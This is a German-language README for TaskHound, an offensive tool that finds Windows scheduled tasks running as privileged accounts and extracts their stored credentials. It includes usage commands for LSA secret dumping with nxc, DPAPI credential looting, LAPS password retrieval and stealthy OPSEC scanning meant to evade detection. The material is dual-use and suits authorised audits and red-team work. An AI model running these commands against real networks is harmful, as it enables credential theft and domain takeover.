
Werkzeug zur Aufzählung privilegierter geplanter Aufgaben auf entfernten Systemen
Windows Tool zur Erkennung privilegierter geplanter Aufgaben für Spaß und Profit.
TaskHound jagt nach Windows-geplanten Aufgaben, die mit privilegierten Konten und gespeicherten Anmeldeinformationen ausgeführt werden. Es listet Aufgaben über SMB auf, analysiert XMLs und identifiziert hochwertige Angriffsmöglichkeiten durch BloodHound-Integration.
Hintergrundgeschichte und ausführliche Erklärungen finden Sie in den zugehörigen Blogbeiträgen – Teil 1 und Teil 2.
git clone https://github.com/1r0BIT/TaskHound.git cd TaskHound python3 -m venv .venv && source .venv/bin/activate pip install -r requirements.txt && pip install .
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --threads 10
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --dc-ip 10.0.0.1 --auto-targets --threads 20
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --laps --threads 10
taskhound --offline-disk /mnt/disk
> **Auth-Unterstützung**: TaskHound unterstützt die meisten gängigen Authentifizierungsmechanismen, darunter Passwort, NTLM-Hash, Kerberos (auch mit ccache) und AES-Key-Authentifizierung.
## Konfigurationsdatei
TaskHound unterstützt TOML-Konfigurationsdateien für dauerhafte Einstellungen. Erstellen Sie `taskhound.toml` in Ihrem Arbeitsverzeichnis oder in `~/.config/taskhound/`:```toml
[authentication]
username = "svc_taskhound"
domain = "THESIMPSONS.LOCAL"
[target]
dc_ip = "10.0.0.1"
threads = 10
timeout = 30
[bloodhound]
live = true
connector = "http://127.0.0.1:8080"
api_key = "${BH_API_KEY}" # Use env vars for secrets
api_key_id = "${BH_API_KEY_ID}"
type = "bhce"
[bloodhound.opengraph]
enabled = true
output_dir = "./opengraph"
[laps]
enabled = true
[cache]
enabled = true
ttl = 86400 # 24 hours
Priorität: CLI args > Umgebungsvariablen > Lokale Konfiguration > Benutzerkonfiguration > Standardwerte
TaskHound's BOF ist im Adaptix Extension-Kit unter SAR-BOF/taskhound/ enthalten.
TTTTT AAA SSS K K H H OOO U U N N DDDD T A A S K K H H O O U U NN N D D T AAAAA SSS KKK HHHHH O O U U N N N D D T A A S K K H H O O U U N NN D D T A A SSSS K K H H OOO UUU N N DDDD
by 0xr0BIT
[+] Connecting to BloodHound CE at http://127.0.0.1:8080 [+] BloodHound connection successful (API v2) [+] High Value target data loaded (42 users) [+] OpenGraph generation enabled (auto-upload active) [] Processing target: moe.thesimpsons.local [+] moe.thesimpsons.local: Connected via SMB [+] moe.thesimpsons.local: Local Admin Access confirmed [] moe.thesimpsons.local: Enumerating scheduled tasks (skipping \Microsoft) [+] moe.thesimpsons.local: Found 12 tasks (3 privileged, 2 with stored credentials)
┌──────────────────────────────────────────────────────────────────────────────┐ │ [TIER-0] moe.thesimpsons.local - \DuffBrewery\BackupJob │ ├──────────────────────────────────────────────────────────────────────────────┤ │ Enabled │ True │ │ RunAs │ THESIMPSONS\Administrator │ │ What │ C:\Scripts\backup_beer_recipes.ps1 │ │ Author │ THESIMPSONS\burns.monty │ │ Date │ 2025-06-15T02:30:00 │ │ Trigger │ Calendar (starts 2025-06-15 02:30, daily) │ │ Reason │ Tier 0 - Domain Admins membership │ │ Cred Validation │ CONFIRMED_VALID │ │ Pwd Analysis │ Password unchanged AND ran within schedule - confirmed │ └──────────────────────────────────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────────────────────────┐ │ [PRIV] moe.thesimpsons.local - \KrustyBurger\InventorySync │ ├──────────────────────────────────────────────────────────────────────────────┤ │ Enabled │ True │ │ RunAs │ THESIMPSONS\svc_krusty │ │ What │ C:\KrustyApps\sync.exe --silent │ │ Author │ THESIMPSONS\carlson.carl │ │ Date │ 2025-03-10T08:00:00 │ │ Trigger │ Calendar (starts 2025-03-10 08:00, every 4 hours) │ │ Reason │ High Value match found in BloodHound │ │ Cred Validation │ DEFINITELY_STALE │ │ Pwd Analysis │ Password changed AFTER last run - credentials are stale │ └──────────────────────────────────────────────────────────────────────────────┘
╭─────────────────────────── SCAN COMPLETE ────────────────────────────────────╮ │ [+] Succeeded: 1 │ │ [-] Failed: 0 │ │ Total time: 2.34s │ │ Avg per target: 2340ms │ ╰──────────────────────────────────────────────────────────────────────────────╯
╭─────────────────────────── TASK SUMMARY ─────────────────────────────────────╮ │ Hostname Tier-0 Privileged Normal │ │ moe.thesimpsons.local 1 2 9 │ ╰──────────────────────────────────────────────────────────────────────────────╯
╭─────────────────────── BLOODHOUND OPENGRAPH ─────────────────────────────────╮ │ [+] Generated 3 nodes, 5 edges │ │ [+] Uploaded to BloodHound successfully │ │ [*] JSON saved to: ./opengraph/taskhound_data.json │ ╰──────────────────────────────────────────────────────────────────────────────╯
---
## BloodHound-Integration
TaskHound unterstützt sowohl **Legacy BloodHound** (Neo4j) als auch **BloodHound Community Edition (BHCE)** mit automatischer Format-Erkennung.
### Live-Verbindung```bash
# BHCE with API Key (recommended)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
--bh-live --bhce --bh-connector http://127.0.0.1:8080 \
--bh-api-key "YOUR_API_KEY" --bh-api-key-id "YOUR_KEY_ID"
# BHCE with username/password
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
--bh-live --bhce --bh-connector http://127.0.0.1:8080 \
--bh-user admin --bh-password password
# Legacy BloodHound (Neo4j)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local \
--bh-live --legacy --bh-connector bolt://127.0.0.1:7687 \
--bh-user neo4j --bh-password password
Falls eine Live-Verbindung nicht möglich ist, exportieren Sie hochwertige Benutzer mit diesen Cypher-Abfragen:
BHCE:```cypher MATCH (n) WHERE coalesce(n.system_tags, "") CONTAINS "admin_tier_0" OR n.highvalue = true MATCH p = (n)-[:MemberOf*1..]->(g:Group) RETURN p;
**Veraltet:**```cypher
MATCH (u:User {highvalue:true})
OPTIONAL MATCH (u)-[:MemberOf*1..]->(g:Group)
WITH u, properties(u) as all_props, collect(g.name) as groups
RETURN u.samaccountname AS SamAccountName, all_props, groups
Dann verwenden Sie: taskhound --bh-data exported_users.json ...
TaskHound erstellt benutzerdefinierte Knoten und Kanten in BloodHound CE, um geplante Aufgaben-Angriffspfade zu visualisieren.
Was Sie erhalten:
ScheduledTask mit 20+ Eigenschaften (Anmeldeinformationen, Trigger, Passwortanalyse, Validierungsstatus)HasTask, HasTaskWithStoredCreds, RunsAstaskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --bh-opengraph
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --bh-opengraph --bh-no-upload
> **Hinweis**: OpenGraph ist BHCE-only. Legacy BloodHound unterstützt keine benutzerdefinierten Knotentypen.
---
## LAPS-Integration
TaskHound kann LAPS-Passwörter automatisch abrufen und für die Authentifizierung pro Host verwenden. Unterstützt sowohl Windows LAPS (`msLAPS-Password`) als auch Legacy LAPS (`ms-Mcs-AdmPwd`), einschließlich verschlüsselter Passwörter über MS-GKDI.```bash
# Basic LAPS - auto-retrieves passwords per target
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --targets-file hosts.txt --laps --threads 10
# Custom local admin username
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --laps --laps-user localadmin
# LAPS with OPSEC mode (other noisy operations disabled)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --laps --opsec --force-laps
Unterstützte LAPS-Typen:
| Typ | Attribut | Verschlüsselt |
|---|---|---|
| Windows LAPS | msLAPS-Password | Nein |
TaskHound extrahiert und entschlüsselt gespeicherte Aufgabenanmeldeinformationen mithilfe von DPAPI. DPAPI-Plünderung ist standardmäßig aktiviert.```bash
nxc smb moe.thesimpsons.local -u homer.simpson -p 'Doh!123' --lsa
taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --dpapi-key 0x51e43225...
taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local
taskhound --offline ./output/raw_backups/moe.thesimpsons.local --dpapi-key 0x51e43225...
taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --output-dir ./collected
taskhound -t moe.thesimpsons.local -u homer.simpson -p 'Doh!123' -d thesimpsons.local --no-loot
> **Wichtig**: Jeder Host hat einen eindeutigen DPAPI_SYSTEM-Schlüssel. Bei Multi-Target-Scans sammeln (Standard) und dann jedes Ziel offline entschlüsseln.
---
## Validierung von Anmeldedaten
TaskHound bewertet, ob gespeicherte Aufgabenkennwörter wahrscheinlich noch gültig sind, indem es die Aufgabenausführungshistorie über RPC abfragt und Heuristiken anwendet. Dies ist **standardmäßig aktiviert**.```bash
# Credential validation is on by default, no flag needed
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local
# Disable validation explicitly
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --no-validate-creds
Die Windows Taskplanung zeichnet nur erfolgreiche Aufgabenausführungen auf. Fehlgeschlagene Authentifizierungen (falsches Passwort, gesperrtes Konto usw.) werden stillschweigend ignoriert. Die Aufgabe wird einfach nicht ausgeführt.
Wichtige Erkenntnis: Windows validiert Anmeldeinformationen zum Zeitpunkt der Aufgabenerstellung. Wenn Sie versuchen, eine Aufgabe mit einem falschen Passwort zu erstellen, erhalten Sie ERROR_LOGON_FAILURE und die Aufgabe wird nicht erstellt. Das bedeutet: Wenn eine Aufgabe mit gespeicherten Anmeldeinformationen vorhanden ist, war das Passwort zum Zeitpunkt der Aufgabenerstellung gültig.
TaskHound verwendet Heuristiken, um die Gültigkeit von Anmeldeinformationen einzuschätzen:
Der entscheidende Einblick: Der Vergleich von pwdLastSet aus AD mit LastRunTime aus der Taskplanung zeigt uns, ob das Passwort nach der letzten erfolgreichen Ausführung geändert wurde. Bei Aufgaben, die nie ausgeführt wurden, zeigt der Vergleich von pwdLastSet mit task_creation_date, ob das Passwort nach der Erstellung der Aufgabe mit gültigen Anmeldeinformationen geändert wurde.
Ohne AD-Daten (z. B. --no-ldap und kein BloodHound): TaskHound fällt in den reinen RPC-Modus zurück und verwendet nur den Rückgabecode und die letzte Ausführungszeit. Eine erfolgreiche Ausführung gibt LIKELY_VALID zurück; die zeitplanbasierte Erkennung veralteter Anmeldeinformationen wird weiterhin angewendet, wenn das Trigger-Intervall aus dem Aufgaben-XML bekannt ist.
Hinweis: Deaktiviert bei Verwendung von
--opsecoder--no-rpc.
TaskHound unterstützt mehrere Ausgabeformate für verschiedene Anwendungsfälle. Alle Ausgaben verwenden ein strukturiertes Verzeichnislayout unter --output-dir (Standard: ./output).
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o plain,json,html
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o json
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o html --output-dir ./audit_results
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets -o plain,json,csv,html --output-dir ./full_audit
### Verzeichnisstruktur```
./output/ # Base directory (--output-dir)
├── plain/ # Plain text output
│ └── <hostname>/
│ └── tasks.txt
├── json/ # JSON export
│ └── taskhound.json
├── csv/ # CSV export
│ └── taskhound.csv
├── html/ # HTML security reports
│ └── taskhound.html
├── opengraph/ # BloodHound OpenGraph files
│ └── taskhound_data.json
└── raw_backups/ # Raw collection (XML + DPAPI)
└── <hostname>/
├── tasks/ # Task XML files
└── dpapi_loot/ # DPAPI credential blobs
Die HTML-Ausgabe erzeugt einen umfassenden Sicherheitsbericht, der für Bewertungen durch Blue Teams konzipiert ist:
Standardmäßig speichert TaskHound rohe XML-Aufgabendateien und DPAPI-Anmeldeinformationsblobs für die Offline-Analyse:```bash
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --no-backup
taskhound --offline ./output/raw_backups/moe.thesimpsons.local --dpapi-key 0x51e43225...
---
## Multithread-Scanning
Für große Umgebungen verwenden Sie paralleles Scannen mit Ratenbegrenzung:```bash
# 20 parallel workers, max 5 targets/second
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --threads 20 --rate-limit 5
# Auto-discover servers only (uses preset filter)
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --ldap-filter servers --threads 20
# Include disabled computers and extend stale threshold to 90 days
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --include-disabled --stale-threshold 90
# Target workstations only, disable stale filtering
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local --auto-targets --ldap-filter workstations --stale-threshold 0
Standardmäßig wendet --auto-targets eine intelligente Filterung an, um Rauschen und fehlgeschlagene Verbindungen zu reduzieren:
| Filter | Standard | Überschreibung |
|---|---|---|
| Deaktivierte Konten |
Datenquellen-Priorität: BloodHound (falls konfiguriert) → LDAP Fallback
Bei Verwendung von BloodHound fragt TaskHound mit include_properties=true für eine effiziente Einzelabfrage-Aufzählung ab. Wenn BloodHound-Daten älter als 7 Tage sind, wird eine Warnung angezeigt; über 30 Tage wird eine dringende Warnung ausgelöst.
Filtervoreinstellungen:
servers - Nur Windows Server-Betriebssystemeworkstations - Nur Nicht-Server-Betriebssysteme(raw LDAP) - Benutzerdefinierter LDAP-Filter (erfordert LDAP-Quelle)TaskHound löst SIDs mithilfe einer mehrstufigen Fallback-Kette in lesbare Namen auf:
taskhound -u localadmin -p 'L0c4lP@ss!' -d . -t moe.thesimpsons.local
--ldap-user homer.simpson --ldap-password 'Doh!123' --ldap-domain thesimpsons.local
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --gc-server 10.0.0.1
taskhound -u homer.simpson -p 'Doh!123' -d thesimpsons.local -t moe.thesimpsons.local --opsec
## Offline-Analyse
Analysieren Sie Aufgaben ohne Netzwerkzugriff:```bash
# Previously collected XML backups
taskhound --offline ./backup/moe.thesimpsons.local
# Mounted disk image
taskhound --offline-disk /mnt/disk
# Mounted image with custom hostname
taskhound --offline-disk /mnt/disk --disk-hostname MOE
TaskHound bietet eine granulare Kontrolle über Netzwerkoperationen, um Stealth vs. Funktionalität auszugleichen.
Default: BloodHound → Cache → LSARPC → LDAP → GC
--no-ldap: BloodHound → Cache → LSARPC
--no-rpc: BloodHound → Cache → LDAP → GC
--opsec: BloodHound → Cache (only)
### Standardverhalten
TaskHound ist **standardmäßig sehr laut** – alle Funktionen sind für maximale Sichtbarkeit aktiviert. Dies macht es ideal für Audits und umfassende Bewertungen, bei denen OPSEC keine Rolle spielt:
- **Credential Guard-Erkennung** – Standardmäßig aktiviert (deaktivieren mit `--no-credguard`)
- **Anmeldeinformationsvalidierung** – Standardmäßig aktiviert (deaktivieren mit `--no-validate-creds`)
- **DPAPI-Plünderung** – Standardmäßig aktiviert (deaktivieren mit `--no-loot`)
- **LDAP-Auflösung** – Standardmäßig aktiviert (deaktivieren mit `--no-ldap`)
- **RPC-Operationen** – Standardmäßig aktiviert (deaktivieren mit `--no-rpc`)
> [!WARNING]
> **Credential Guard-Überprüfungen sind HOCHGRADIG erkennbar.** Da der Remoteregistrierungsdienst auf modernen Windows-Systemen standardmäßig gestoppt ist, startet TaskHound den Dienst **remote** über SCM, führt die Prüfungen durch und stoppt ihn dann (genau wie secretsdump). Dadurch leuchtet jedes halbwegs gute SOC wie ein Weihnachtsbaum. **Verwenden Sie unbedingt `--no-credguard`, wenn Sie dies in Engagements vermeiden möchten!**
Apropos Engagements: Verwenden Sie für Red Team/Stealth-Operationen `--opsec`, um alle lauten Funktionen auf einmal zu deaktivieren. (Oder verwenden Sie den BOF).
### Verwendungsbeispiele```bash
# Full OPSEC mode (disables: LDAP, RPC, looting, credguard, validation; forces sequential scanning)
taskhound -u user -p 'pass' -d corp.local -t target --opsec
# OPSEC with jitter (random 0-5 second delays between hosts)
taskhound -u user -p 'pass' -d corp.local --targets-file hosts.txt --opsec --jitter 5
# Disable LDAP only (keep LSARPC for SID resolution)
taskhound -u user -p 'pass' -d corp.local -t target --no-ldap
# Disable RPC only (keep LDAP for SID resolution)
taskhound -u user -p 'pass' -d corp.local -t target --no-rpc
# LAPS with OPSEC (force LAPS LDAP queries despite --opsec)
taskhound -u user -p 'pass' -d corp.local --laps --opsec --force-laps
--bh-live importieren--opsec Flag verwenden - Deaktiviert alle lauten Operationen auf einmal--jitter für Timing-Randomisierung hinzufügen - Vermeidet vorhersehbare Scanmuster--offline analysierenTaskHound verwendet Rich für formatierte Konsolenausgabe mit farbigen Tabellen und Fortschrittsanzeigen.``` taskhound --help
<details>
<summary>Klicken Sie, um die vollständige Nutzung anzuzeigen</summary>```
Usage: taskhound [OPTIONS] [TARGETS]
AUTHENTICATION OPTIONS
-u, --username Username (required for online mode)
-p, --password Password (omit with -k for Kerberos/ccache)
-d, --domain Domain (required for online mode)
--hashes NTLM hashes (LM:NT or NT-only)
-k, --kerberos Use Kerberos authentication
--aes-key AES key for Kerberos (32 or 64 hex chars)
TARGET OPTIONS
-t, --target Single target or comma-separated list
--targets-file File with targets, one per line
--dc-ip Domain controller IP
--ns, --nameserver DNS nameserver for lookups
--timeout Connection timeout in seconds (default: 5)
--threads Parallel worker threads (default: 10)
--rate-limit Max targets per second (default: unlimited)
--jitter SECONDS Random delay (0-N seconds) between hosts (OPSEC, sequential only)
--dns-tcp Force DNS over TCP (for SOCKS proxies)
--auto-targets Auto-discover targets (BloodHound first, LDAP fallback)
--ldap-filter Filter for auto-targets: 'servers', 'workstations', or raw LDAP
--include-dcs Include Domain Controllers in auto-targets
--include-disabled Include disabled computer accounts
--stale-threshold Exclude computers inactive >N days (default: 60, 0=disable)
SCANNING OPTIONS
--offline Parse XMLs from directory
--offline-disk Analyze mounted Windows filesystem
--disk-hostname Override hostname for offline-disk
--bh-data BloodHound export file for HV detection
--opsec Stealth mode: --no-ldap --no-rpc --no-loot --no-credguard --no-validate-creds --threads 1
--no-rpc Disable RPC operations (LSARPC, CredGuard, validation)
--include-ms Include \Microsoft tasks
--include-local Include local system accounts
--include-all Include ALL tasks
--unsaved-creds Show tasks without stored credentials
--no-credguard Disable Credential Guard detection (default: enabled)
--no-validate-creds Disable credential validation (default: enabled)
BLOODHOUND OPTIONS
--bh-live Enable live BloodHound connection
--bh-connector BloodHound URI (default: http://127.0.0.1:8080)
--bh-user BloodHound username
--bh-password BloodHound password
--bh-api-key BloodHound API key
--bh-api-key-id BloodHound API key ID
--bh-timeout API query timeout (default: 120)
--bhce Use BHCE (Community Edition)
--legacy Use Legacy BloodHound (Neo4j)
--bh-save Save query results to file
OPENGRAPH OPTIONS (BHCE ONLY)
--bh-opengraph Generate OpenGraph JSON files (saves to {output_dir}/opengraph/)
--bh-no-upload Skip automatic upload
--bh-force-icon Force icon update
--bh-icon Icon name (default: clock)
--bh-color Icon color (default: #8B5CF6)
--bh-allow-orphans Create edges for missing nodes
DPAPI OPTIONS
--no-loot Disable DPAPI credential collection (default: enabled)
--dpapi-key DPAPI_SYSTEM userkey (hex format)
LDAP/SID RESOLUTION
--no-ldap Disable LDAP/GC operations
--ldap-user Alternative LDAP username
--ldap-password Alternative LDAP password
--ldap-hashes Alternative LDAP hashes
--ldap-domain Alternative LDAP domain
--ldap-tier0 Enable LDAP-based Tier-0 detection
--gc-server Global Catalog server IP
LAPS OPTIONS
--laps Enable LAPS authentication
--laps-user Override local admin username
--force-laps Force LAPS in OPSEC mode
CACHE OPTIONS
--cache-ttl Cache TTL in seconds (default: 86400)
--no-cache Disable caching
--clear-cache Clear cache before run
--cache-file Cache file path
OUTPUT OPTIONS
-o, --output Output formats (comma-separated: plain,json,csv,html)
Default: plain
--output-dir Base output directory (default: ./output)
--no-backup Disable raw XML backup collection
--no-summary Disable summary table
Output directory structure:
./output/
├── plain/<host>/tasks.txt # Plain text output
├── json/taskhound.json # JSON export
├── csv/taskhound.csv # CSV export
├── html/taskhound.html # HTML security report
├── opengraph/ # BloodHound OpenGraph files
└── raw_backups/<host>/ # Raw XML + DPAPI files
├── tasks/ # Task XML files
└── dpapi_loot/ # DPAPI credential blobs
MISC
--verbose Verbose output
--debug Debug output with stack traces
Wenn Koffeinkonsum und Freizeit zusammenkommen:
Und allen, die dazu beigetragen haben, offensive Sicherheitstools zugänglich zu machen.
TaskHound ist streng ein Audit- und Bildungs-Tool. Verwenden Sie es nur in Umgebungen, die Ihnen gehören oder für die Sie ausdrückliche Testgenehmigung haben. Ernsthaft. Seien Sie kein Idiot.
PRs willkommen. Die Hälfte davon war koffeininduziertes Vibe-Coding, also erwarten Sie keine Wunder.
Verantwortungsvoll nutzen. Keine Gewährleistung. Siehe LICENSE für Details.
| Funktion | Beschreibung |
|---|
| Erkennung von Tier 0 und hochwertigen Konten | Ermittelt automatisch Aufgaben, die als Domänen-Admins, Unternehmens-Admins und andere privilegierte Konten ausgeführt werden |
| BloodHound-Integration | Verbinden Sie sich mit live BHCE/Legacy-Instanzen oder importieren Sie Exporte zur Erkennung hochwertiger Benutzer |
| OpenGraph-Unterstützung | Visualisieren Sie geplante Aufgaben als Angriffspfadknoten in BloodHound CE |
| LAPS-Integration | Automatisches Abrufen und Verwenden von LAPS-Passwörtern (sowohl Windows LAPS als auch Legacy) für die Authentifizierung pro Host |
| DPAPI-Anmeldeinformations-Extraktion | Sammeln und entschlüsseln Sie DPAPI-Blobs, die gespeicherte Aufgabenanmeldeinformationen enthalten |
| Multithread-Scanning | Parallele Zielverarbeitung mit Ratenbegrenzung für große Umgebungen |
| LDAP-basierte Tier-0-Erkennung | Erkennen Sie privilegierte Konten über Gruppenmitgliedschaft ohne BloodHound |
| Anmeldeinformationsvalidierung | Überprüfen Sie, ob gespeicherte Aufgabenpasswörter über RPC noch gültig sind |
| Offline-Analyse | Verarbeiten Sie gemountete Datenträgerimages oder zuvor gesammelte XMLs |
| Mehrere Ausgabeformate | Klartext-, JSON-, CSV- und HTML-Sicherheitsberichte mit Schweregradbewertung |
| SID-Auflösung | Mehrstufige Auflösung über BloodHound → Cache → LSARPC → LDAP → GC |
| Zwischenspeicherung | SQLite-basierter persistenter Cache für SID-Suchvorgänge und LAPS-Anmeldeinformationen |
| Quelle | Erkennungsmethode |
|---|
| BHCE | isTierZero, System-Tags (admin_tier_0), AdminSDHolder |
| Legacy | AdminSDHolder (admincount=1), SID-basierte Erkennung |
| LDAP | Gruppenmitgliedschaftsabfragen (--ldap-tier0) |
| Eingebaut | Bekannte Tier 0 SIDs (Domänen-Admins, Enterprise-Admins, usw.) |
| Windows LAPS |
msLAPS-EncryptedPassword |
| Ja (MS-GKDI) |
| Legacy LAPS | ms-Mcs-AdmPwd | Nein |
| Status | Bedeutung |
|---|
CONFIRMED_VALID | Passwort seit Aufgabenerstellung unverändert UND Aufgabe wurde innerhalb des erwarteten Zeitplans ausgeführt – Anmeldeinformationen als funktionierend bestätigt |
HIGH_CONFIDENCE_VALID | Passwort seit Aufgabenerstellung unverändert, aber Trigger-Zeitpunkt unbekannt (z. B. Start-Trigger) – Anmeldeinformationen wahrscheinlich gültig |
LIKELY_VALID | Passwort geändert, aber Aufgabe innerhalb des Zeitplans ausgeführt (Anmeldeinformationen aktualisiert) ODER Aufgabe erfolgreich ausgeführt (nur RPC-Modus) |
POSSIBLY_STALE | Aufgabe hätte ausgeführt werden sollen, wurde es aber nicht – könnte auf veraltete Anmeldeinformationen hindeuten |
DEFINITELY_STALE | Passwort nach der letzten erfolgreichen Ausführung geändert – Anmeldeinformationen sind definitiv falsch |
NEVER_RAN_LIKELY_VALID | Aufgabe nie ausgeführt, aber Passwort seit Erstellung unverändert – wahrscheinlich gültig (könnte fehlende Batch-Logon-Rechte haben) |
NEVER_RAN_POSSIBLY_STALE | Aufgabe nie ausgeführt und Passwort nach Erstellung geändert – wahrscheinlich veraltet |
NEVER_RAN_UNKNOWN | Aufgabe nie ausgeführt, kein AD-Kontext – bei Erstellung gültig, aktueller Status unbekannt |
UNKNOWN | Kann nicht ermittelt werden (Konto gesperrt usw.) |
| Format | Flag | Beschreibung | Anwendungsfall |
|---|
| Plain | -o plain | Für Menschen lesbare Konsolenausgabe (Standard) | Interaktive Nutzung, schnelle Überprüfung |
| JSON | -o json | Maschinenlesbarer strukturierter Export | Automatisierung, Datenanalyse, Scripting |
| CSV | -o csv | Tabellenkalkulations-kompatibler Export | Berichterstellung, Filterung, Excel-Analyse |
| HTML | -o html | Sicherheitsbericht mit Schweregradbewertung | Blauteam-Audits, Berichte für Stakeholder |
| Ausgeschlossen |
--include-disabled |
| Veraltete Computer (>60 Tage) | Ausgeschlossen | --stale-threshold 0 (deaktivieren) |
| Domänencontroller | Ausgeschlossen | --include-dcs |
| Protokoll | Operationen | Flag zum Deaktivieren |
|---|
| SMB | Aufgabenaufzählung (immer verwendet) | N/A |
| LDAP (389/636) | SID-Auflösung, Tier-0-Erkennung, pwdLastSet | --no-ldap |
| Global Catalog (3268) | Domainübergreifende SID-Auflösung | --no-ldap |
| LSARPC (SMB-Pipe) | Fallback-SID-Auflösung | --no-rpc |
| Remote Registry (SMB-Pipe) | Credential Guard-Erkennung | --no-credguard |
| Task Scheduler RPC (SMB-Pipe) | Anmeldeinformationsvalidierung | --no-validate-creds |
| DPAPI-Dateisammlung (SMB) | DPAPI-Credential-Blob-Sammlung | --no-loot |